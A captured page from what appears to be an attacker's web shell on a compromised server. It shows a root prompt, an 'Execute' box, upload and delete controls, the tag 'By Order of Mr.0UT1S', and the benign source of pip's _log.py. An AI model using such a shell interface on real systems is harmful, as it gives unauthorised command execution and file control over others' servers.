opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
pip
/
_internal
/
utils
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] __pycache__
N/A
__init__.py
0 bytes
Rename
Delete
_jaraco_text.py
3.27 KB
Rename
Delete
_log.py
1015 bytes
Rename
Delete
appdirs.py
1.63 KB
Rename
Delete
compat.py
2.34 KB
Rename
Delete
compatibility_tags.py
6.13 KB
Rename
Delete
datetime.py
242 bytes
Rename
Delete
deprecation.py
3.62 KB
Rename
Delete
direct_url_helpers.py
3.12 KB
Rename
Delete
egg_link.py
2.41 KB
Rename
Delete
entrypoints.py
2.99 KB
Rename
Delete
filesystem.py
4.83 KB
Rename
Delete
filetypes.py
716 bytes
Rename
Delete
glibc.py
3.65 KB
Rename
Delete
hashes.py
4.86 KB
Rename
Delete
logging.py
11.57 KB
Rename
Delete
misc.py
22.90 KB
Rename
Delete
packaging.py
2.09 KB
Rename
Delete
retry.py
1.36 KB
Rename
Delete
setuptools_build.py
4.33 KB
Rename
Delete
subprocess.py
8.78 KB
Rename
Delete
temp_dir.py
9.09 KB
Rename
Delete
unpacking.py
11.69 KB
Rename
Delete
urls.py
1.56 KB
Rename
Delete
virtualenv.py
3.38 KB
Rename
Delete
wheel.py
4.39 KB
Rename
Delete
"""Customize logging Defines custom logger class for the `logger.verbose(...)` method. init_logging() must be called before any other modules that call logging.getLogger. """ import logging from typing import Any, cast # custom log level for `--verbose` output # between DEBUG and INFO VERBOSE = 15 class VerboseLogger(logging.Logger): """Custom Logger, defining a verbose log-level VERBOSE is between INFO and DEBUG. """ def verbose(self, msg: str, *args: Any, **kwargs: Any) -> None: return self.log(VERBOSE, msg, *args, **kwargs) def getLogger(name: str) -> VerboseLogger: """logging.getLogger, but ensures our VerboseLogger class is returned""" return cast(VerboseLogger, logging.getLogger(name)) def init_logging() -> None: """Register our VerboseLogger and VERBOSE log level. Should be called before any calls to getLogger(), i.e. in pip._internal.__init__ """ logging.setLoggerClass(VerboseLogger) logging.addLevelName(VERBOSE, "VERBOSE")
Save